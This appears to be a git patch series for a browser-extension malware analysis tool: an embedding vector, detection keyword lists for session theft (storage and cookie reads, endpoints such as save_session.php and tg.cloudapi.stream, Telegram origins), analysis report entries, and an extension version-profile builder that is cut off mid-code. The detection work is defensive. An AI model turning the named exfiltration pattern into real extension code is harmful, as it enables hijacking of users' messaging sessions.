0.018510237, + 0.047138862, + 0.02343343, + 0.023054475, + -0.06941529, + 0.019324891, + 0.018534653, + 0.012279873, + -0.049090676, + 0.0034396227, + -0.015349287, + -0.0715633, + 0.01985127, + 0.011087942, + 0.015718471, + -0.003979374, + -0.056186955, + -0.029029097, + -0.027841924, + 0.050076295, + -0.006326405, + -0.029399604, + -0.025859099, + -0.064590424, + 0.01668352, + -0.046843305, + -0.01903471, + -0.027965419, + -0.005450226, + 0.008285934, + 0.00023312749, + -0.0083819, + 0.019117497, + 0.013495261, + -0.025377003, + -0.008547829, + 0.04603758, + -0.019851325, + -0.065362975, + -0.02278483, + 0.007260507, + -0.010899498, + -0.015600367, + -0.009699219, + 0.032231674, + -0.04364968, + -0.033776205, + -0.028929211, + 0.046951916, + 0.019104682, + -0.03196249, + 0.03198455, + -0.022297388, + 0.0041772667, + -0.013173344, + 0.0419937, + -0.009857798, + -0.0024520585, + 0.022546602, + -0.024808213, + -0.01138717, + -0.01877574, + -0.016048478, + 0.034175955, + -0.03533745, + -0.03223403, + 0.023111109, + 0.007449783, + -0.031850282, + -0.029271215, + -0.031231457, + 0.010922673, + 0.048506938, + -0.0304863, + 0.027995251, + -0.045647003, + 0.028834326, + 0.024587186, + 0.01883616, + 0.012190638, + -0.009079224, + -0.009675673, + -0.07945195, + 0.055391118, + -0.030255672, + -0.047842465, + -0.03210826, + 0.007466283, + -0.027702117, + -0.006228756, + 0.019158011, + -0.031500623, + 0.024472447, + 0.01374743, + 0.032128092, + 0.0067593926, + 0.021822013, + 0.0045804637, + 0.017252656, + -0.043555394, + 0.053434487, + -0.020740522, + -0.009330109, + -0.0040270127, + 0.018155353, + -0.024438424, + 0.0104292575, + -0.017364863, + 0.02157604, + -0.009635376, + -0.013089902, + -0.033485122, + -0.012374366, + -0.03438146, + -0.0029749156, + 0.002618689, + 0.029070185, + 0.029932478, + 0.00042182245, + 0.025175156, + -0.013751572, + -0.04077998, + -0.0016507857, + -0.016948218, + -0.014397895, + 0.0030005833, + 0.013862218, + 0.0069869566, + -0.010194963, + -0.0012453755, + -0.006225259, + 0.024911387, + -0.021134265, + 0.03587357, + -0.02812512, + -0.014079519, + 0.03124533, + -0.02061303, + -0.024551684, + -0.0625266, + -0.014004386, + 0.018418895, + -0.004040689, + -0.02471982, + -0.035407033, + 0.013942756, + -0.022449145, + 0.011018708, + -0.031422, + 0.018075256, + -0.036200568, + 0.029322285, + -0.17223655, + 0.0027114304, + -0.0042115636, + 0.037377194, + -0.028677253, + 0.008657621, + -0.0128283035, + -0.01061462, + 0.0040597767, + -0.020609347, + 0.007908727, + 0.00093662384, + 0.013786804, + -0.0126031, + -0.017690096, + 0.032661576, + 0.0024659, + -0.0034788407, + -0.020060198, + 0.04795736, + -0.0052647227, + -0.0036303652, + 0.048873868, + -0.017406495, + 0.006723686, + 0.028545333, + -0.024615409, + 0.016554436, + -0.01613053, + 0.00034307333, + 0.027339954, + -0.01041651, + 0.026647642, + 0.016713722, + 0.025539583, + 0.033918444, + 0.03149842, + 0.014176511, + 0.03363097, + -0.0070697353, + -0.025048906, + -0.0072034006, + -0.023712963, + -0.027094591, + -0.027084868, + 0.026774274, + -0.00049879996, + 0.00085441134, + -0.041130986, + 0.011921186, + -0.003588113, + 0.011328654, + -0.055076838, + 0.022587093, + -0.026544238, + -0.00672725, + -0.016303003, + 0.009611913, + -0.016465098, + 0.017100336, + -0.03463594, + 0.030088356, + -0.007495505, + -0.015795432, + -0.0456578, + 0.038236085, + -0.08715351, + 0.017537663, + 0.006103869, + 0.005188137, + -0.054457806, + -0.018454527, + -0.030248638, + -0.00047297176, + 0.023303019, + 0.024117665, + 0.035801783, + -0.01423542, + -0.02211922, + -0.014486612, + 0.0075768153, + -0.017276775, + -0.016266273, + 0.043230895, + 0.060838554, + -0.01868665, + -0.004731135, + 0.018657142, + -0.031944297, + -0.02570198, + -0.024301635, + -0.037043665, + 0.0071718935, + 0.0413707, + -0.0065972838, + -0.001632993, + -0.02805357, + 0.008866132, + -0.02335197, + -0.010856001, + 0.0032637222, + -0.02088239, + 0.031632684, + -0.000102450445, + -0.049904183, + 0.01713128, + 0.0025293455, + 0.010064838, + 0.014761157, + 0.013403127, + -0.068538636, + -0.0008007996, + -0.025997482, + 0.008182107, + -0.05631613, + -0.00789824, + 0.034457307, + 0.01221417, + -0.017960919, + 0.019516923, + -0.04280918, + -0.0148838265, + -0.031186262, + -0.031675525, + 0.026869653, + 0.033381112, + 0.026458286, + 0.024869263, + 0.031814273, + -0.033224683, + 0.02186835, + -0.06004397, + 0.014146113, + -0.0139232315, + 0.04451403, + 0.011250538, + -0.026164224, + 0.06169455, + -0.06414011, + -0.03364641, + -0.05950591, + -0.0052088657, + -0.018801602, + -0.06045437, + 0.018702129, + 0.003971503, + 0.01781363, + -0.0020229125, + 0.019709652, + -0.04237434, + -0.020068575, + 0.018742722, + -0.018916713, + 0.026253173, + 0.018290365, + 0.028737778, + -0.04113608, + 0.041128457, + -0.03346831, + 0.0647696, + -0.011739202, + -0.0107273925, + -0.011637569, + -0.042300574, + 0.00565945, + 0.04188323, + -0.017278336, + -0.0012262893, + -0.038962588, + 0.015519471, + 0.028472615, + 0.028074173, + -0.010284327, + -0.020667624, + 0.03553738, + -0.0052524293, + 0.012212338, + 0.011834365, + 0.024608199, + -0.010598149, + 0.026643228, + -0.03492573, + 0.026610805, + 0.009382772, + 0.017663, + 0.056417443, + 0.012436301, + 0.048796482, + 0.020988623, + -0.01109824, + -0.002029006, + -0.026184224, + 0.03086397, + -0.024996769, + 0.022762274, + 0.010635132, + 0.008432353, + -0.021125706, + 0.0062885503, + 0.036390223, + 0.0027482088, + 0.026146661, + -0.0064295805, + -0.00820972, + 0.034325175, + -0.02249753, + -0.020094944, + -0.03019844, + -0.026113857, + 0.006912975, + 0.035866134, + 0.0086080115, + -0.03633087, + 0.021996224, + -0.02170763, + -0.038437326, + 0.04163976, + -0.012038118, + 0.011315331, + -0.0094218375, + 0.047912885, + 0.02476042, + 0.020704575, + -0.035882734, + -0.06297052, + -0.028110472, + 0.0037657013, + -0.009382396, + -0.020290753, + -0.0061876103, + -0.042212263, + -0.035366952, + 0.010068303, + 0.0005273771, + 0.047195464, + 0.0034841618, + -0.038893096, + 0.037312273, + -0.0035406381, + -0.017351678, + 0.068272434, + 0.033925775, + 0.024386486, + -0.037051097 ] \ No newline at end of file diff --git a/embedding/rerank/pipeline.py b/embedding/rerank/pipeline.py index 4bde3230..aa8ba618 100644 --- a/embedding/rerank/pipeline.py +++ b/embedding/rerank/pipeline.py @@ -192,6 +192,22 @@ def _scan_extension_static_evidence(extension_target: str | None) -> dict[str, A "crawler", "dom snapshot", "html capture", + "localstorage", + "sessionstorage", + "chrome.storage.session", + "chrome.cookies", + "clearallcookies", + "save_session", + "save_session.php", + "get_session.php", + "get_sessions.php", + "set_session_changed", + "tg.cloudapi.stream", + "web.telegram.org", + "chrome.runtime.sendmessage", + "runtime.sendmessage", + "chrome.runtime.onmessage", + "runtime.onmessage", ] weak_content_tokens = [ "offscreen", @@ -357,13 +373,25 @@ def _extract_concrete_evidence(query_fingerprint: dict[str, Any], extension_targ "inject-bridge.js", ] session_read_keys = [ + "localstorage", "localstorage.getitem", + "localstorage.setitem", + "localstorage.clear", + "sessionstorage", "sessionstorage.getitem", + "chrome.storage.session", "document.cookie", "chrome.cookies", + "clearallcookies", "storage_or_cookie_read", ] session_send_keys = [ + "save_session", + "save_session.php", + "get_session.php", + "get_sessions.php", + "tg.cloudapi.stream", + "set_session_changed", "payload_post_send", "session payload", "token payload", @@ -371,6 +399,15 @@ def _extract_concrete_evidence(query_fingerprint: dict[str, Any], extension_targ "xmlhttprequest post session", "fetch post session", ] + session_bridge_keys = [ + "chrome.runtime.sendmessage", + "runtime.sendmessage", + "chrome.runtime.onmessage", + "runtime.onmessage", + ] + session_origin_keys = [ + "web.telegram.org", + ] generic_api_keys = ["fetch", "runtime.sendmessage", "xmlhttprequest"] weak_keys = ["offscreen", "activetab", "tabs", ""] fingerprint_keys = [ @@ -396,6 +433,8 @@ def _extract_concrete_evidence(query_fingerprint: dict[str, Any], extension_targ remote_evidence = [k for k in remote_keys if k in txt] session_read_evidence = [k for k in session_read_keys if k in txt] session_send_evidence = [k for k in session_send_keys if k in txt] + session_bridge_evidence = [k for k in session_bridge_keys if k in txt] + session_origin_evidence = [k for k in session_origin_keys if k in txt] fingerprint_evidence = [k for k in fingerprint_keys if k in txt] generic_api_evidence = [k for k in generic_api_keys if k in txt] weak_capability_evidence = [k for k in weak_keys if k in txt] @@ -407,6 +446,8 @@ def _extract_concrete_evidence(query_fingerprint: dict[str, Any], extension_targ "remote_control_evidence": sorted(set(remote_evidence)), "session_read_evidence": sorted(set(session_read_evidence)), "session_send_evidence": sorted(set(session_send_evidence)), + "session_bridge_evidence": sorted(set(session_bridge_evidence)), + "session_origin_evidence": sorted(set(session_origin_evidence)), "fingerprinting_evidence": sorted(set(fingerprint_evidence)), "generic_api_evidence": sorted(set(generic_api_evidence)), "concrete_static_evidence": sorted(set(file_hits)), @@ -425,6 +466,8 @@ def _scenario_evidence_adjustment(pattern_name: str, evidence: dict[str, Any]) - weak = evidence.get("weak_capability_evidence", []) if isinstance(evidence.get("weak_capability_evidence", []), list) else [] session_read = evidence.get("session_read_evidence", []) if isinstance(evidence.get("session_read_evidence", []), list) else [] session_send = evidence.get("session_send_evidence", []) if isinstance(evidence.get("session_send_evidence", []), list) else [] + session_bridge = evidence.get("session_bridge_evidence", []) if isinstance(evidence.get("session_bridge_evidence", []), list) else [] + session_origin = evidence.get("session_origin_evidence", []) if isinstance(evidence.get("session_origin_evidence", []), list) else [] fingerprinting = evidence.get("fingerprinting_evidence", []) if isinstance(evidence.get("fingerprinting_evidence", []), list) else [] static_capability_score = 0.0 @@ -506,8 +549,35 @@ def _scenario_evidence_adjustment(pattern_name: str, evidence: dict[str, Any]) - if "session_storage_exfiltration" in p or "session_theft" in p: concrete_api_evidence.extend(session_read) concrete_api_evidence.extend(session_send) + concrete_api_evidence.extend(session_bridge) + concrete_api_evidence.extend(session_origin) + has_page_storage = any( + k in session_read + for k in ( + "localstorage", + "localstorage.getitem", + "localstorage.setitem", + "localstorage.clear", + "sessionstorage", + "sessionstorage.getitem", + "document.cookie", + ) + ) + has_save_endpoint = any(k in session_send for k in ("save_session.php", "tg.cloudapi.stream")) + has_session_endpoint = any(k in session_send for k in ("save_session.php", "get_session.php", "get_sessions.php")) + has_save_action = "save_session" in session_send + has_message_bridge = bool(session_bridge) has_session_payload = bool(session_read) and bool(session_send) - if not has_session_payload: + has_session_theft_structure = bool( + (has_page_storage and has_message_bridge and (has_save_endpoint or has_session_endpoint)) + or (has_save_endpoint and has_save_action and has_message_bridge) + or (has_page_storage and has_save_action and has_session_origin) + ) + if has_session_theft_structure: + concrete_api_evidence_score += 0.08 + static_capability_score += min(0.12, 0.03 * len(set(session_read + session_send + session_bridge + session_origin))) + rerank_reason_parts.append("session_theft_structural_evidence") + elif not has_session_payload: negative_penalties.append("missing_session_payload_read_send_evidence") concrete_api_evidence_score -= 0.30 if screenshot or len(remote) >= 4: @@ -698,4 +768,3 @@ def rerank_compare_result( "reranked_matches": reranked_matches, "skipped": skipped, } - From 7347d8ace179c965e9b55a63a891b8ab41f1457f Mon Sep 17 00:00:00 2001 From: Pandyo Date: Fri, 12 Jun 2026 16:27:25 +0900 Subject: [PATCH 3/3] feat: version diff --- .env.example | 1 + .gitignore | 1 + ExtAnalysis/reports.json | 132 +- backend/profile/__init__.py | 26 + backend/profile/builder.py | 518 +++++ backend/profile/extension-profile.schema.json | 131 ++ backend/profile/local_store.py | 78 + backend/risk_scoring.py | 18 +- backend/tests/__init__.py | 0 backend/tests/profile/__init__.py | 0 backend/tests/profile/conftest.py | 7 + backend/tests/profile/test_builder.py | 286 +++ backend/tests/vscode_analysis/__init__.py | 0 backend/tests/vscode_analysis/conftest.py | 7 + .../tests/vscode_analysis/test_code_scan.py | 305 +++ .../vscode_analysis/test_corpus_benign.py | 83 + .../tests/vscode_analysis/test_decision.py | 27 + .../vscode_analysis/test_manifest_scan.py | 88 + .../vscode_analysis/test_runner_glassworm.py | 46 + backend/vscode_analysis/__init__.py | 5 + backend/vscode_analysis/code_scan.py | 190 ++ backend/vscode_analysis/decision.py | 37 + backend/vscode_analysis/manifest_scan.py | 61 + backend/vscode_analysis/rules.py | 159 ++ backend/vscode_analysis/runner.py | 138 ++ backend/web_payload.py | 17 +- docker-compose.pgvector.yml | 20 + embedding/.DS_Store | Bin 8196 -> 0 bytes embedding/base_db.py | 188 +- embedding/compare.py | 81 +- embedding/embedding.json | 2048 ++++++++--------- embedding/pgvector_store.py | 123 + .../scenario/playwright_dynamic_harness.py | 17 +- main.py | 311 ++- 34 files changed, 3887 insertions(+), 1262 deletions(-) create mode 100644 backend/profile/__init__.py create mode 100644 backend/profile/builder.py create mode 100644 backend/profile/extension-profile.schema.json create mode 100644 backend/profile/local_store.py create mode 100644 backend/tests/__init__.py create mode 100644 backend/tests/profile/__init__.py create mode 100644 backend/tests/profile/conftest.py create mode 100644 backend/tests/profile/test_builder.py create mode 100644 backend/tests/vscode_analysis/__init__.py create mode 100644 backend/tests/vscode_analysis/conftest.py create mode 100644 backend/tests/vscode_analysis/test_code_scan.py create mode 100644 backend/tests/vscode_analysis/test_corpus_benign.py create mode 100644 backend/tests/vscode_analysis/test_decision.py create mode 100644 backend/tests/vscode_analysis/test_manifest_scan.py create mode 100644 backend/tests/vscode_analysis/test_runner_glassworm.py create mode 100644 backend/vscode_analysis/__init__.py create mode 100644 backend/vscode_analysis/code_scan.py create mode 100644 backend/vscode_analysis/decision.py create mode 100644 backend/vscode_analysis/manifest_scan.py create mode 100644 backend/vscode_analysis/rules.py create mode 100644 backend/vscode_analysis/runner.py create mode 100644 docker-compose.pgvector.yml delete mode 100644 embedding/.DS_Store create mode 100644 embedding/pgvector_store.py diff --git a/.env.example b/.env.example index f49466fe..b7f21bb9 100644 --- a/.env.example +++ b/.env.example @@ -73,6 +73,7 @@ ENABLE_REAL_LLM_CALL=true # optional | LLM 실제 호출 DYNAMIC_ANALYSIS_TIMEOUT_SEC=120 # optional | 전체 동적 분석 타임아웃(초) DYNAMIC_HARNESS_CLOSE_TIMEOUT_SEC=10 # optional | Playwright 종료 대기 타임아웃(초) DYNAMIC_HARNESS_HEADLESS=true # optional | Playwright headless 모드 여부 +DYNAMIC_MOCK_AUTOSTART=true # optional | Start local mock page server automatically SERVICE_WORKER_TIMEOUT_MS=5000 # optional | 서비스 워커 등록 대기 타임아웃(ms) DISPLAY=:99 # optional | headless 환경 가상 디스플레이 (Linux) LLM_DEBUG_PROMPT_DUMP_DIR= # optional | LLM 프롬프트 덤프 디렉토리 (디버깅용) diff --git a/.gitignore b/.gitignore index 933ab6b4..80400157 100644 --- a/.gitignore +++ b/.gitignore @@ -34,6 +34,7 @@ analysis_result/ backend/results/ results_json/ storage/ +profiles/ # ExtAnalysis 분석 임시 디렉토리 및 결과 ExtAnalysis/lab/ diff --git a/ExtAnalysis/reports.json b/ExtAnalysis/reports.json index 0a46bd4a..91319ba5 100644 --- a/ExtAnalysis/reports.json +++ b/ExtAnalysis/reports.json @@ -1135,11 +1135,137 @@ "version": "3.2.2" }, { - "id": "EXA2026156095426", + "id": "EXA2026156041802", "name": "Telegram Multi-account", - "report_directory": "/EXA2026156095426", - "time": "2026-06-05 09:54:26", + "report_directory": "/EXA2026156041802", + "time": "2026-06-05 04:18:03", "version": "1.4" + }, + { + "id": "EXA2026156042525", + "name": "Telegram Multi-account", + "report_directory": "/EXA2026156042525", + "time": "2026-06-05 04:25:26", + "version": "1.4" + }, + { + "id": "EXA2026156042754", + "name": "Telegram Multi-account", + "report_directory": "/EXA2026156042754", + "time": "2026-06-05 04:27:54", + "version": "1.4" + }, + { + "id": "EXA2026156043013", + "name": "Telegram Multi-account", + "report_directory": "/EXA2026156043013", + "time": "2026-06-05 04:30:13", + "version": "1.4" + }, + { + "id": "EXA2026156043241", + "name": "Telegram Multi-account", + "report_directory": "/EXA2026156043241", + "time": "2026-06-05 04:32:42", + "version": "1.4" + }, + { + "id": "EXA2026156043442", + "name": "Free VPN", + "report_directory": "/EXA2026156043442", + "time": "2026-06-05 04:34:42", + "version": "3.2.2" + }, + { + "id": "EXA2026160091302", + "name": "ResuMatch - Free Offline Keyword Analyzer", + "report_directory": "\\EXA2026160091302", + "time": "2026-06-09 09:13:02", + "version": "1.0.0" + }, + { + "id": "EXA2026161091908", + "name": "Python Assist", + "report_directory": "\\EXA2026161091908", + "time": "2026-06-10 09:19:08", + "version": "1.1" + }, + { + "id": "EXA2026161091945", + "name": "Python Tutor - Wiingy", + "report_directory": "\\EXA2026161091945", + "time": "2026-06-10 09:19:46", + "version": "1.1" + }, + { + "id": "EXA2026161092038", + "name": "Selenium Auto Code Generator (Python)", + "report_directory": "\\EXA2026161092038", + "time": "2026-06-10 09:20:40", + "version": "2.1" + }, + { + "id": "EXA2026161092200", + "name": "__MSG_appName__", + "report_directory": "\\EXA2026161092200", + "time": "2026-06-10 09:22:01", + "version": "1.0" + }, + { + "id": "EXA2026161144101", + "name": "\uc5c5\ubb34\ud3ec\ud138(+EVPN) \ub85c\uadf8\uc778 \uc720\uc9c0 \ub3c4\uc6b0\ubbf8", + "report_directory": "\\EXA2026161144101", + "time": "2026-06-10 14:41:01", + "version": "1.3.2" + }, + { + "id": "EXA2026161144522", + "name": "__MSG_appName__", + "report_directory": "\\EXA2026161144522", + "time": "2026-06-10 14:45:22", + "version": "2.0.0" + }, + { + "id": "EXA2026161145217", + "name": "__MSG_appName__", + "report_directory": "\\EXA2026161145217", + "time": "2026-06-10 14:52:18", + "version": "5.7" + }, + { + "id": "EXA2026163053429", + "name": "Chrome MCP Server - AI Browser Control", + "report_directory": "/EXA2026163053429", + "time": "2026-06-12 05:34:30", + "version": "1.0.1" + }, + { + "id": "EXA2026163054842", + "name": "Chrome MCP Server - AI Browser Control", + "report_directory": "/EXA2026163054842", + "time": "2026-06-12 05:48:43", + "version": "1.0.1" + }, + { + "id": "EXA2026163062533", + "name": "Chrome MCP Server - AI Browser Control", + "report_directory": "/EXA2026163062533", + "time": "2026-06-12 06:25:35", + "version": "1.0.1" + }, + { + "id": "EXA2026163071425", + "name": "Chrome MCP Server - AI Browser Control", + "report_directory": "/EXA2026163071425", + "time": "2026-06-12 07:14:29", + "version": "1.0.1" + }, + { + "id": "EXA2026163071822", + "name": "Chrome MCP Server - AI Browser Control", + "report_directory": "/EXA2026163071822", + "time": "2026-06-12 07:18:23", + "version": "1.0.1" } ] } \ No newline at end of file diff --git a/backend/profile/__init__.py b/backend/profile/__init__.py new file mode 100644 index 00000000..644c0db6 --- /dev/null +++ b/backend/profile/__init__.py @@ -0,0 +1,26 @@ +"""Extension Profile: objective, version-by-version change history of an extension. + +Records what an extension *is* and how it changes between versions (manifest +facts, file hashes/sizes, diffs) — not analysis output. See ``builder`` for the +JSON generator. +""" + +from .builder import ( + build_profile, + build_snapshot, + compute_diff, + content_hash, + is_minified, + make_unified_diff, + validate_profile, +) + +__all__ = [ + "build_profile", + "build_snapshot", + "compute_diff", + "content_hash", + "is_minified", + "make_unified_diff", + "validate_profile", +] diff --git a/backend/profile/builder.py b/backend/profile/builder.py new file mode 100644 index 00000000..5537a954 --- /dev/null +++ b/backend/profile/builder.py @@ -0,0 +1,518 @@ +"""Extension Profile JSON generator. + +An Extension Profile records the *objective* state of a browser extension per +version and the diff against the previous version. It is deliberately NOT an +analysis-result store: scanner findings, embeddings, fingerprints, obfuscation +scores, capability inference and risk rationale are excluded. The only thing +borrowed from analysis is a thin ``verdict`` breadcrumb (risk_grade + result_id) +so a reader knows where to find the full result. + +Public API (the JSON-generation core): + build_snapshot - extension archive/dir -> objective snapshot (+ file bytes) + content_hash - stable hash over the file (path, sha256) set + is_minified - heuristic: is this file undiffable / minified? + make_unified_diff- unified diff text (+ truncation flag) for two texts + compute_diff - snapshot vs snapshot -> permission/manifest/file diff + build_profile - assemble/extend a profile document from a snapshot + validate_profile - jsonschema validation against extension-profile.schema.json + +Blob storage (Nexus) and DB persistence are out of scope here. Fetching previous +file bytes for inline diffs is delegated to a pluggable ``blob_loader`` callable; +without it, modified files fall back to pointer-only (blob_ref, diff=null). +""" + +from __future__ import annotations + +import hashlib +import json +import zipfile +from datetime import datetime, timezone +from pathlib import Path +from typing import Any, Callable, Dict, List, Optional, Tuple, Union + +SCHEMA_VERSION = "1.0" + +# Inline-diff guard rails: a single modified file should not blow up the profile. +MAX_DIFF_LINES = 2000 +MAX_DIFF_BYTES = 200_000 + +# Minified / undiffable heuristics. +_MINIFIED_LONGEST_LINE = 5000 +_MINIFIED_AVG_LINE = 500 +_MINIFIED_DENSE_AVG = 1000 +_MINIFIED_DENSE_MAX_LINES = 5 + +BlobLoader = Callable[[str], Optional[bytes]] +Snapshot = Dict[str, Any] +Profile = Dict[str, Any] + +_SCHEMA_CACHE: Optional[Dict[str, Any]] = None + + +# --------------------------------------------------------------------------- # +# hashing / small helpers +# --------------------------------------------------------------------------- # +def _sha256_bytes(data: bytes) -> str: + return hashlib.sha256(data).hexdigest() + + +def _now_iso() -> str: + return datetime.now(timezone.utc).replace(microsecond=0).isoformat() + + +def _sorted_unique(values: Any) -> List[str]: + if not isinstance(values, list): + return [] + return sorted({str(v) for v in values}) + + +def _norm_path(path: str) -> str: + return path.replace("\\", "/").lstrip("/") + + +# --------------------------------------------------------------------------- # +# content hash +# --------------------------------------------------------------------------- # +def content_hash(files: List[Dict[str, Any]]) -> str: + """Stable hash of the file set, keyed by ``':'`` entries. + + Order-independent: entries are sorted before hashing, so two extractions of + the same files always produce the same content_hash. + """ + entries = sorted(f"{f['path']}:{f['sha256']}" for f in files) + joined = "\n".join(entries) + return "sha256:" + hashlib.sha256(joined.encode("utf-8")).hexdigest() + + +# --------------------------------------------------------------------------- # +# minified detection +# --------------------------------------------------------------------------- # +def is_minified(data: Optional[bytes]) -> bool: + """Heuristic for "we cannot show a useful line diff of this file". + + True when the bytes do not decode as UTF-8, or when any of the line-shape + thresholds in the design spec are met. + """ + if data is None: + return False + try: + text = data.decode("utf-8") + except UnicodeDecodeError: + return True + + lines = text.splitlines() or [text] + line_count = len(lines) + longest = max((len(line) for line in lines), default=0) + total_len = len(text) + avg = total_len / line_count if line_count else float(total_len) + + if longest > _MINIFIED_LONGEST_LINE: + return True + if avg > _MINIFIED_AVG_LINE: + return True + if line_count < _MINIFIED_DENSE_MAX_LINES and avg > _MINIFIED_DENSE_AVG: + return True + return False + + +# --------------------------------------------------------------------------- # +# unified diff +# --------------------------------------------------------------------------- # +def make_unified_diff( + old_text: str, + new_text: str, + path: str, + *, + max_lines: int = MAX_DIFF_LINES, + max_bytes: int = MAX_DIFF_BYTES, +) -> Tuple[str, bool]: + """Return ``(unified_diff_text, truncated)`` for two text blobs. + + Truncation keeps the profile bounded for large but technically-diffable files. + """ + import difflib + + diff_iter = difflib.unified_diff( + old_text.splitlines(), + new_text.splitlines(), + fromfile=f"a/{path}", + tofile=f"b/{path}", + lineterm="", + ) + + out: List[str] = [] + truncated = False + total = 0 + for i, line in enumerate(diff_iter): + if i >= max_lines or total >= max_bytes: + truncated = True + break + out.append(line) + total += len(line) + 1 + return "\n".join(out), truncated + + +# --------------------------------------------------------------------------- # +# manifest normalization +# --------------------------------------------------------------------------- # +def _is_host_pattern(value: Any) -> bool: + if not isinstance(value, str): + return False + return value == "" or "://" in value + + +def normalize_manifest_state(manifest: Dict[str, Any]) -> Dict[str, Any]: + """Pull the objective, comparable fields out of a manifest. + + For MV2 the host match patterns live inside ``permissions`` (and + ``optional_permissions``); we split them out into ``host_permissions`` so + permission diffs compare API permissions and host grants separately, exactly + like MV3. + """ + manifest = manifest if isinstance(manifest, dict) else {} + mv = manifest.get("manifest_version") + + permissions = list(manifest.get("permissions") or []) + optional = list(manifest.get("optional_permissions") or []) + host_perms = list(manifest.get("host_permissions") or []) + + if mv == 2: + host_perms += [p for p in permissions if _is_host_pattern(p)] + host_perms += [p for p in optional if _is_host_pattern(p)] + permissions = [p for p in permissions if not _is_host_pattern(p)] + optional = [p for p in optional if not _is_host_pattern(p)] + + return { + "manifest_version": mv if isinstance(mv, int) else None, + "permissions": _sorted_unique(permissions), + "optional_permissions": _sorted_unique(optional), + "host_permissions": _sorted_unique(host_perms), + "content_scripts": manifest.get("content_scripts"), + "background": manifest.get("background"), + "content_security_policy": manifest.get("content_security_policy"), + "web_accessible_resources": manifest.get("web_accessible_resources"), + } + + +# --------------------------------------------------------------------------- # +# reading an extension (zip or directory) +# --------------------------------------------------------------------------- # +def _read_files(source: Union[str, Path]) -> List[Tuple[str, bytes]]: + path = Path(source) + files: List[Tuple[str, bytes]] = [] + + if zipfile.is_zipfile(path): + with zipfile.ZipFile(path) as zf: + for info in zf.infolist(): + if info.is_dir(): + continue + files.append((_norm_path(info.filename), zf.read(info))) + elif path.is_dir(): + for fp in sorted(path.rglob("*")): + if fp.is_file(): + files.append((_norm_path(fp.relative_to(path).as_posix()), fp.read_bytes())) + else: + raise ValueError(f"not a zip archive or directory: {source}") + + return files + + +def _extract_manifest_and_reroot( + files: List[Tuple[str, bytes]], +) -> Tuple[Dict[str, Any], List[Tuple[str, bytes]]]: + """Locate manifest.json and re-root every path relative to its directory. + + Handles archives that wrap the extension in a top-level folder. + """ + candidates = [f for f in files if f[0].rsplit("/", 1)[-1] == "manifest.json"] + if not candidates: + raise ValueError("manifest.json not found in extension") + + manifest_path, manifest_bytes = min(candidates, key=lambda f: f[0].count("/")) + manifest = json.loads(manifest_bytes.decode("utf-8")) + + root = manifest_path.rsplit("/", 1)[0] + "/" if "/" in manifest_path else "" + rerooted: List[Tuple[str, bytes]] = [] + for path, data in files: + if root and not path.startswith(root): + continue + rerooted.append((path[len(root):], data)) + return manifest, rerooted + + +# --------------------------------------------------------------------------- # +# snapshot +# --------------------------------------------------------------------------- # +def _normalize_verdict(verdict: Dict[str, Any]) -> Dict[str, Any]: + return { + "risk_grade": verdict.get("risk_grade"), + "result_id": verdict.get("result_id"), + "analyzed_at": verdict.get("analyzed_at"), + } + + +def build_snapshot( + source: Union[str, Path], + *, + verdict: Optional[Dict[str, Any]] = None, + captured_at: Optional[str] = None, +) -> Tuple[Snapshot, Dict[str, bytes]]: + """Build an objective snapshot from an extension archive or extracted dir. + + Returns ``(snapshot, file_bytes)``. ``file_bytes`` maps path -> raw bytes for + the *current* version; pass it to :func:`compute_diff` (and/or upload it to + the blob store) so the next version can produce inline diffs. + """ + raw_files = _read_files(source) + manifest, files = _extract_manifest_and_reroot(raw_files) + + file_entries: List[Dict[str, Any]] = [] + file_bytes: Dict[str, bytes] = {} + for path, data in files: + file_entries.append({"path": path, "sha256": _sha256_bytes(data), "size": len(data)}) + file_bytes[path] = data + file_entries.sort(key=lambda e: e["path"]) + + snapshot: Snapshot = { + "version": str(manifest.get("version", "")), + "captured_at": captured_at or _now_iso(), + "content_hash": content_hash(file_entries), + **normalize_manifest_state(manifest), + "files": file_entries, + } + if verdict is not None: + snapshot["verdict"] = _normalize_verdict(verdict) + + return snapshot, file_bytes + + +# --------------------------------------------------------------------------- # +# diff +# --------------------------------------------------------------------------- # +def _string_set_delta(prev: Any, curr: Any) -> Dict[str, List[str]]: + prev_set = set(prev or []) + curr_set = set(curr or []) + return { + "added": sorted(curr_set - prev_set), + "removed": sorted(prev_set - curr_set), + } + + +_MANIFEST_DIFF_FIELDS = ( + "manifest_version", + "content_scripts", + "content_security_policy", + "web_accessible_resources", +) + + +def _manifest_changes(prev: Snapshot, curr: Snapshot) -> List[Dict[str, Any]]: + changes: List[Dict[str, Any]] = [] + for field in _MANIFEST_DIFF_FIELDS: + before, after = prev.get(field), curr.get(field) + if before != after: + changes.append({"field": field, "from": before, "to": after}) + + # background gets sub-field granularity (e.g. background.service_worker). + prev_bg = prev.get("background") or {} + curr_bg = curr.get("background") or {} + if isinstance(prev_bg, dict) and isinstance(curr_bg, dict): + for key in sorted(set(prev_bg) | set(curr_bg)): + if prev_bg.get(key) != curr_bg.get(key): + changes.append({ + "field": f"background.{key}", + "from": prev_bg.get(key), + "to": curr_bg.get(key), + }) + elif prev_bg != curr_bg: + changes.append({"field": "background", "from": prev.get("background"), "to": curr.get("background")}) + + return changes + + +def _build_modified_entry( + path: str, + from_sha: str, + to_sha: str, + curr_file_bytes: Optional[Dict[str, bytes]], + blob_loader: Optional[BlobLoader], + max_diff_lines: int, + max_diff_bytes: int, +) -> Dict[str, Any]: + entry: Dict[str, Any] = { + "path": path, + "from_sha256": from_sha, + "to_sha256": to_sha, + "blob_ref": {"from": f"nexus://blobs/{from_sha}", "to": f"nexus://blobs/{to_sha}"}, + "diff_format": "unified", + "diff": None, + "diff_truncated": False, + "is_minified": False, + } + + old_bytes = blob_loader(from_sha) if blob_loader else None + new_bytes = curr_file_bytes.get(path) if curr_file_bytes else None + + # Pointer-only when we can't see both sides (no blob upload / no current bytes). + if old_bytes is None or new_bytes is None: + return entry + + if is_minified(old_bytes) or is_minified(new_bytes): + entry["is_minified"] = True + return entry # diff stays null; blob_ref carries the pointers + + diff_text, truncated = make_unified_diff( + old_bytes.decode("utf-8"), + new_bytes.decode("utf-8"), + path, + max_lines=max_diff_lines, + max_bytes=max_diff_bytes, + ) + entry["diff"] = diff_text + entry["diff_truncated"] = truncated + return entry + + +def _file_diff( + prev: Snapshot, + curr: Snapshot, + curr_file_bytes: Optional[Dict[str, bytes]], + blob_loader: Optional[BlobLoader], + max_diff_lines: int, + max_diff_bytes: int, +) -> Dict[str, Any]: + prev_by_path = {f["path"]: f for f in prev.get("files", [])} + curr_by_path = 